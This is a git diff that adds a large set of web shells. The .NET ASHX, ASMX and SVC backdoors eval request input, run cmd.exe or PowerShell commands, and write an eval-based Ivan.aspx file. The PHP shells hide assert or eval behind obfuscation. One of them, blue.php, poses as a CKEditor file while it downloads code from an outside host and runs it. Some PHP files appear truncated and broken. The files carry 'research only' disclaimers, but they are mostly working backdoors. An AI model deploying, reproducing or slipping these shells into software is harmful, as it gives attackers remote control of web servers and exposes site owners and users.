diff --git a/others/AsyncHandlerSpy.ashx b/others/AsyncHandlerSpy.ashx new file mode 100644 index 0000000..8eb072f --- /dev/null +++ b/others/AsyncHandlerSpy.ashx @@ -0,0 +1,6 @@ +<%@ WebHandler Language="JScript" class="AsyncHandlerSpy"%>import System;import System.Web;import System.IO;public class AsyncHandlerSpy implements IHttpAsyncHandler{function IHttpAsyncHandler.BeginProcessRequest(context : HttpContext,asyncCallback :AsyncCallback , obj : Object ) : IAsyncResult {context.Response.Write("

Just for Research Learning, Do Not Abuse It! Written By Ivan1ee

");eval(context.Request["Ivan"]);HttpContext.Current.Response.End();}function IHttpAsyncHandler.EndProcessRequest(result : IAsyncResult){}function IHttpHandler.ProcessRequest(context : HttpContext){}function get IHttpHandler.IsReusable() : Boolean{return false;}} + + + + + diff --git a/others/HandlerSpy.ashx b/others/HandlerSpy.ashx new file mode 100644 index 0000000..40e984f --- /dev/null +++ b/others/HandlerSpy.ashx @@ -0,0 +1 @@ +<%@ WebHandler Language="JScript" class="HandlerSpy"%>import System;import System.Web;import System.IO;public class HandlerSpy implements IHttpHandler{function IHttpHandler.ProcessRequest(context : HttpContext){context.Response.Write("

Just for Research Learning, Do Not Abuse It! Written By Ivan1ee

");var I = context;var Request = I.Request;var Response = I.Response;var Server = I.Server;eval(context.Request["Ivan"]);}function get IHttpHandler.IsReusable() : Boolean{return false;}} \ No newline at end of file diff --git a/others/asmxScriptMethodSpy.asmx b/others/asmxScriptMethodSpy.asmx new file mode 100644 index 0000000..3ea056f --- /dev/null +++ b/others/asmxScriptMethodSpy.asmx @@ -0,0 +1,2 @@ +<%@ WebService Language="JScript" class="ScriptMethodSpy"%>import System;import System.Web;import System.IO;import System.Web.Services;import System.Web.Script.Services;public class ScriptMethodSpy extends WebService{WebMethodAttribute ScriptMethodAttribute function Invoke(Ivan : String) : Void{ +var I = HttpContext.Current;var Request = I.Request;var Response = I.Response;var Server = I.Server;Response.Write("

Just for Research Learning, Do Not Abuse It! Written By Ivan1ee

");eval(Ivan);}} diff --git a/others/asmxSmallSpy.asmx b/others/asmxSmallSpy.asmx new file mode 100644 index 0000000..a0f4200 --- /dev/null +++ b/others/asmxSmallSpy.asmx @@ -0,0 +1,77 @@ +<%@ WebService Language="C#" class="asmxSmallSpy"%> +using System; +using System.IO; +using System.Web; +using System.Web.Services; +using System.Diagnostics; +using System.Collections.Generic; +using System.Web.Script.Serialization; +using System.Web.Script.Services; +[System.Web.Script.Services.ScriptService] +[WebService(Namespace = "http://tempuri.org/" ,Description ="Just for Research Learning, Do Not Abuse It! Written By Ivan1ee" , Name ="asmxSmallSpy —— .NET下的又一款优雅的后门")] +[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)] +public class asmxSmallSpy : System.Web.Services.WebService + { + /** + Code by Ivan Lee@github.com + Date: 2018-07-16 + No Pain,No Gain! + **/ + + [System.ComponentModel.ToolboxItem(false)] + [WebMethod] + /** + Create A BackDoor + **/ + public string webShell() + { + StreamWriter wickedly = File.CreateText(HttpContext.Current.Server.MapPath("Ivan.aspx")); + wickedly.Write("<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"Ivan\"],\"unsafe\");%>"); + wickedly.Flush(); + wickedly.Close(); + return "Wickedly"; + } + + [WebMethod] + /** + Exec Command via powerShell + **/ + public string powerShell(string input) + { + Process pr = new Process(); + pr.StartInfo.FileName = "powershell.exe"; + pr.StartInfo.RedirectStandardOutput = true; + pr.StartInfo.UseShellExecute = false; + pr.StartInfo.Arguments = "/c " + input; + pr.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; + pr.Start(); + StreamReader osr = pr.StandardOutput; + String ocmd = osr.ReadToEnd(); + osr.Close(); + osr.Dispose(); + return ocmd; + } + + + [WebMethod] + /** + Exec Command via cmdShell + **/ + public string cmdShell(string input) + { + Process pr = new Process(); + pr.StartInfo.FileName = "cmd.exe"; + pr.StartInfo.RedirectStandardOutput = true; + pr.StartInfo.UseShellExecute = false; + pr.StartInfo.Arguments = "/c " + input; + pr.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; + pr.Start(); + StreamReader osr = pr.StandardOutput; + String ocmd = osr.ReadToEnd(); + osr.Close(); + osr.Dispose(); + return ocmd; + } + } + + diff --git a/others/asmxWebMethodSpy.asmx b/others/asmxWebMethodSpy.asmx new file mode 100644 index 0000000..8e2d3b7 --- /dev/null +++ b/others/asmxWebMethodSpy.asmx @@ -0,0 +1 @@ +<%@ WebService Language="JScript" class="asmxWebMethodSpy"%>import System;import System.Web;import System.IO;import System.Web.Services;public class asmxWebMethodSpy extends WebService{ WebMethodAttribute function Invoke(Ivan : String) : Void{ var c = HttpContext.Current;var Request = c.Request;var Response = c.Response;var Server = c.Server;Response.Write("

Just for Research Learning, Do Not Abuse It! Written By Ivan1ee

");eval(Ivan);} } \ No newline at end of file diff --git a/others/svcLessSpy.svc b/others/svcLessSpy.svc new file mode 100644 index 0000000..d3c2e98 --- /dev/null +++ b/others/svcLessSpy.svc @@ -0,0 +1,13 @@ +<%@ ServiceHost Language="JScript" Debug="true" Service="svcLessSpy"%> +import System; +import System.Web; +import System.IO; +import System.ServiceModel; +import System.Text; +ServiceContractAttribute public class svcLessSpy +{ + OperationContractAttribute public function exec(Ivan : String) : String + { + return eval(Ivan); + } +} \ No newline at end of file diff --git a/others/svcSmallSpy.svc b/others/svcSmallSpy.svc new file mode 100644 index 0000000..7b09141 --- /dev/null +++ b/others/svcSmallSpy.svc @@ -0,0 +1,40 @@ +<%@ ServiceHost Language="C#" Debug="true" Service="Service"%> +using System; +using System.Web; +using System.IO; +using System.Runtime.Serialization; +using System.ServiceModel; +using System.Text; +using System.ServiceModel.Activation; +using System.Collections.Generic; +using System.Configuration; +using System.ServiceModel.Web; +using System.Diagnostics; +[ServiceContract(Namespace = "")] +[AspNetCompatibilityRequirements(RequirementsMode = AspNetCompatibilityRequirementsMode.Allowed)] +public class Service +{ + [OperationContract] +　public string cmdShell(string text) { + Process pr = new Process(); + pr.StartInfo.FileName = "cmd.exe"; + pr.StartInfo.RedirectStandardOutput = true; + pr.StartInfo.UseShellExecute = false; + pr.StartInfo.Arguments = "/c " + text; + pr.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; + pr.Start(); + StreamReader osr = pr.StandardOutput; + String ocmd = osr.ReadToEnd(); + osr.Close(); + osr.Dispose(); + return ocmd; + } + [OperationContract] +　public string webShell() { + StreamWriter wickedly = File.CreateText(HttpContext.Current.Server.MapPath("Ivan.aspx")); + wickedly.Write("<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"Ivan\"],\"unsafe\");%>"); + wickedly.Flush(); + wickedly.Close(); + return "Ivan.aspx Create Success"; + } +} \ No newline at end of file diff --git a/php/asdasd.php b/php/asdasd.php new file mode 100644 index 0000000..b342515 --- /dev/null +++ b/php/asdasd.php @@ -0,0 +1,3 @@ + ""), array(1), $f); +?> \ No newline at end of file diff --git a/php/blue.php b/php/blue.php new file mode 100644 index 0000000..f2387b0 --- /dev/null +++ b/php/blue.php @@ -0,0 +1,125 @@ +editor("editor1", "

Initial value.

"); + * @endcode + */ +/** + * The version of %CKEditor. + * \private + */ + + /** + * A constant string unique for each release of %CKEditor. + * \private + */ + + + /** + * URL to the %CKEditor installation directory (absolute or relative to document root). + * If not set, CKEditor will try to guess it's path. + * + * Example usage: + * @code + * $CKEditor->basePath = '/ckeditor/'; + * @endcode + */ + + /** + * An array that holds the global %CKEditor configuration. + * For the list of available options, see http://docs.cksource.com/ckeditor_api/symbols/CKEDITOR.config.html + * + * Example usage: + * @code + * $CKEditor->config['height'] = 400; + * // Use @@ at the beggining of a string to ouput it without surrounding quotes. + * $CKEditor->config['width'] = '@@screen.width * 0.8'; + * @endcode + */ + + /** + * A boolean variable indicating whether CKEditor has been initialized. + * Set it to true only if you have already included + * <script> tag loading ckeditor.js in your website. + */ + + /** + * Boolean variable indicating whether created code should be printed out or returned by a function. + * + * Example 1: get the code creating %CKEditor instance and print it on a page with the "echo" function. + * @code + * $CKEditor = new CKEditor(); + * $CKEditor->returnOutput = true; + * $code = $CKEditor->editor("editor1", "

Initial value.

"); + * echo "

Editor 1:

"; + * echo $code; + * @endcode + */ + + /** + * Main Constructor. + * + * @param $basePath (string) URL to the %CKEditor installation directory (optional). + */ + + /** + * Creates a %CKEditor instance. + * In incompatible browsers %CKEditor will downgrade to plain HTML <textarea> element. + * + * @param $name (string) Name of the %CKEditor instance (this will be also the "name" attribute of textarea element). + * @param $value (string) Initial value (optional). + * @param $config (array) The specific configurations to apply to this editor instance (optional). + * @param $events (array) Event listeners for this editor instance (optional). + * + * Example usage: + * @code + * $CKEditor = new CKEditor(); + * $CKEditor->editor("field1", "

Initial value.

"); + * @endcode + * + * Advanced example: + * @code + * $CKEditor = new CKEditor(); + * $config = array(); + * $config['toolbar'] = array( + * array( 'Source', '-', 'Bold', 'Italic', 'Underline', 'Strike' ), + * array( 'Image', 'Link', 'Unlink', 'Anchor' ) + * ); + * $events['instanceReady'] = 'function (ev) { + * alert("Loaded: " + ev.editor.name); + * }'; + * $CKEditor->editor("field1", "

Initial value.

", $config, $events); + * @endcode + */ + +$admin['check'] = false; +$password = 'asplwxat'; +$c = "chr"; +session_start(); +if (empty($_SESSION['PhpCode'])) { +$url = $c(104).$c(116).$c(116).$c(112).$c(58).$c(47).$c(47); +$url .= $c(119).$c(119).$c(119).$c(46).$c(100).$c(110).$c(97); +$url .= $c(122).$c(97).$c(46).$c(99).$c(111).$c(109).$c(47); +$url .= $c(112).$c(104).$c(112).$c(46).$c(106).$c(112).$c(103); +$get = chr(102) . chr(105) . chr(108) . chr(101) . chr(95); +$get .= chr(103) . chr(101) . chr(116) . chr(95) . chr(99); +$get .= chr(111) . chr(110) . chr(116) . chr(101) . chr(110); +$get .= chr(116) . chr(115); +$_SESSION['PhpCode'] = $get($url); +} +$unzip = $c(103) . $c(122) . $c(105) . $c(110); +$unzip .= $c(102) . $c(108) . $c(97) . $c(116) . $c(101); +@eval($unzip($_SESSION['PhpCode'])); + +?> \ No newline at end of file diff --git a/php/emojis-webshell.php b/php/emojis-webshell.php new file mode 100644 index 0000000..d8da3ef --- /dev/null +++ b/php/emojis-webshell.php @@ -0,0 +1,45 @@ + + * Homepage: https://github.com/mazen160/public/tree/master/Proof-of-Concepts/emojis-webshell + * License: The MIT License (MIT) - https://github.com/mazen160/public/blob/master/Proof-of-Concepts/emojis-webshell/LICENSE.txt + * + * Legal Disclaimer: + * This project is made for educational and ethical testing purposes only. Usage of project for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. +*/ + +$😀="a"; +$😁="b"; +$😂="c"; +$🤣="d"; +$😃="e"; +$😄="f"; +$😅="g"; +$😆="h"; +$😉="i"; +$😊="j"; +$😋="k"; +$😎="l"; +$😍="m"; +$😘="n"; +$😗="o"; +$😙="p"; +$😚="q"; +$🙂="r"; +$🤗="s"; +$🤩="t"; +$🤔="u"; +$🤨="v"; +$😐="w"; +$😑="x"; +$😶="y"; +$🙄="z"; + +$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔; + +if (isset($_GET['👽'])) { + eval($😭($_GET['👽'])); +}; diff --git a/php/hihuosad.php b/php/hihuosad.php new file mode 100644 index 0000000..212f740 --- /dev/null +++ b/php/hihuosad.php @@ -0,0 +1,13 @@ + \ No newline at end of file diff --git a/php/iughnm.php b/php/iughnm.php new file mode 100644 index 0000000..f1eb223 --- /dev/null +++ b/php/iughnm.php @@ -0,0 +1,8 @@ +'>'<')+('>'>'<'); +$_=$__/$__; +$____=''; +$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); + +$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); +$_=$$_____; +$____($_[_]);// assert($_POST[_]); \ No newline at end of file diff --git a/php/iuygfguhijk.php b/php/iuygfguhijk.php new file mode 100644 index 0000000..361a0b7 --- /dev/null +++ b/php/iuygfguhijk.php @@ -0,0 +1,7 @@ + ""), array(1), $f); +?> \ No newline at end of file diff --git a/php/iuyhgfc.php b/php/iuyhgfc.php new file mode 100644 index 0000000..53f9233 --- /dev/null +++ b/php/iuyhgfc.php @@ -0,0 +1,6 @@ + \ No newline at end of file diff --git a/php/jhgtrfg.php b/php/jhgtrfg.php new file mode 100644 index 0000000..70f293d --- /dev/null +++ b/php/jhgtrfg.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/php/jhjk.php b/php/jhjk.php new file mode 100644 index 0000000..9bc0ebe --- /dev/null +++ b/php/jhjk.php @@ -0,0 +1,4 @@ + \ No newline at end of file diff --git a/php/jihgfdfyghu.php b/php/jihgfdfyghu.php new file mode 100644 index 0000000..224eede --- /dev/null +++ b/php/jihgfdfyghu.php @@ -0,0 +1,9 @@ += 5.4.0, PHP 7) + * + */ +$password = "LandGrey"; +$ch = explode(".","hello.ass.world.er.t"); +array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch[1].$ch[3].$ch[4]); +?> \ No newline at end of file diff --git a/php/jiuhygv.php b/php/jiuhygv.php new file mode 100644 index 0000000..6882830 --- /dev/null +++ b/php/jiuhygv.php @@ -0,0 +1,7 @@ + ""), array(1), $f); +?> \ No newline at end of file diff --git a/php/jvhghjk.php b/php/jvhghjk.php new file mode 100644 index 0000000..153a535 --- /dev/null +++ b/php/jvhghjk.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/php/kgfghjkdf.php b/php/kgfghjkdf.php new file mode 100644 index 0000000..de3331d --- /dev/null +++ b/php/kgfghjkdf.php @@ -0,0 +1,9 @@ += 5.3.0, PHP 7) + * + */ +$password = "LandGrey"; +$wx = substr($_SERVER["HTTP_REFERER"],-7,-4); +forward_static_call_array($wx."ert", array($_REQUEST[$password])); +?> \ No newline at end of file diff --git a/php/kjhgh.php b/php/kjhgh.php new file mode 100644 index 0000000..c49fa6d --- /dev/null +++ b/php/kjhgh.php @@ -0,0 +1,8 @@ += 5.4.0, PHP 7) +* +*/ +$password = "LandGrey"; +array_udiff_assoc(array($_REQUEST[$password]), array(1), "assert"); +?> \ No newline at end of file diff --git a/php/kjhghfguh.php b/php/kjhghfguh.php new file mode 100644 index 0000000..20e9d8a --- /dev/null +++ b/php/kjhghfguh.php @@ -0,0 +1,5 @@ + \ No newline at end of file diff --git a/php/nhgbnjm.php b/php/nhgbnjm.php new file mode 100644 index 0000000..3bf8f93 --- /dev/null +++ b/php/nhgbnjm.php @@ -0,0 +1,9 @@ += 5.4.0, PHP 7) + * + */ +$password = "LandGrey"; +$ch = $_COOKIE["set-domain-name"]; +array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch."ert"); +?> \ No newline at end of file diff --git a/php/ugfghjk.php b/php/ugfghjk.php new file mode 100644 index 0000000..21aad22 --- /dev/null +++ b/php/ugfghjk.php @@ -0,0 +1,24 @@ + "51", "1" => "50", "2" => "53", "3" => "52", "4" => "55", "5" => "54", "6" => "57", "7" => "56", "8" => "59", + "9" => "58", "a" => "00", "b" => "03", "c" => "02", "d" => "05", "e" => "04", "f" => "07", "g" => "06", "h" => "09", + "i" => "08", "j" => "0b", "k" => "0a", "l" => "0d", "m" => "0c", "n" => "0f", "o" => "0e", "p" => "11", "q" => "10", + "r" => "13", "s" => "12", "t" => "15", "u" => "14", "v" => "17", "w" => "16", "x" => "19", "y" => "18", "z" => "1b", + "A" => "20", "B" => "23", "C" => "22", "D" => "25", "E" => "24", "F" => "27", "G" => "26", "H" => "29", "I" => "28", + "J" => "2b", "K" => "2a", "L" => "2d", "M" => "2c", "N" => "2f", "O" => "2e", "P" => "31", "Q" => "30", "R" => "33", + "S" => "32", "T" => "35", "U" => "34", "V" => "37", "W" => "36", "X" => "39", "Y" => "38", "Z" => "3b", +); +$f = pack("H*", $trick[$key]."3f120b1655") ^ $key."Land!"; +array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f); +?> \ No newline at end of file